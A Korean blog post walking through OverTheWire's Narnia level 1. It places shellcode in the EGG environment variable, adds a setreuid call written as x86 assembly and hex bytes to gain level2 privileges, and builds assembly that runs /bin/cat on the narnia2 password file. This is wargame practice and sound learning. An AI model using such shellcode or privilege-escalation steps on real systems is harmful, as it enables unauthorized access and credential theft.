농소
Narnia Level 1 본문
level1 - > level2 시작해보겠습니다
이번에도 c파일을 열어서 무슨 취약점이있는지 봅시다.
환경변수 egg변수의 값이 null이면 종료되고 아니라면 egg변수값을 가져와 실행을 하네요.
그렇다면 egg환경변수에 쉘코드를 작성해서 실행시키면 될 것 같습니다.
이런식으로 egg변수에 쉘코드를 넣고 실행 시켜주었습니다.
그런데 왜인지는 모르겠지만 쉘은 실행이 되었지만 권한상승이 안되었네요
이럴경우 방법은 2가지가 있습니다
1. 쉘코드 전 setreuid를 추가해 준다.
2. 쉘코드가 아닌 cat코드를 삽입하여 비밀번호를 본다.
두가지 중 무엇을 하든 자기가 편한걸 선택하시면 되지만
저는 연습도 할겸 이 2가지 방법을 모두 해보도록 하겠습니다.
1. 쉘코드앞에 setreuid를 추가
xor eax, eax
mov al, 0x46
mov bx, 14002 // level2
mov cx, 14002
int 80h
\x31\xc0\xb0\x46\x66\xbb\xb2\x36\x66\xb9\xb2\x36\xcd\x80
추가해서 쉘코드를 실행했더니 정상적으로 권한상승까지 된 모습입니다.
2. /bin/cat 이용
/bin/cat /etc/narnia_pass/narnia2
segment .text
global _start
_start:
xor edx, edx
push edx
push '/cat'
push '/bin'
push edx
push 'nia2'
push '/nar'
push 'pass'
push 'nia_'
push '/nar'
push '/etc'
push edx
lea eax, [esp+4]
push eax
lea eax, [esp+36]
push eax,
xor eax, eax
mov al, 11
mov ebx, [esp]
lea ecx, [esp]
int 80h
이렇게 두가지 방법을 통해서 password를 알아냈습니다.
'Wargame > Narnia' 카테고리의 다른 글
Narnia Level 2 (0) | 2018.02.06 |
---|---|
Narnia Level 0 (0) | 2018.02.03 |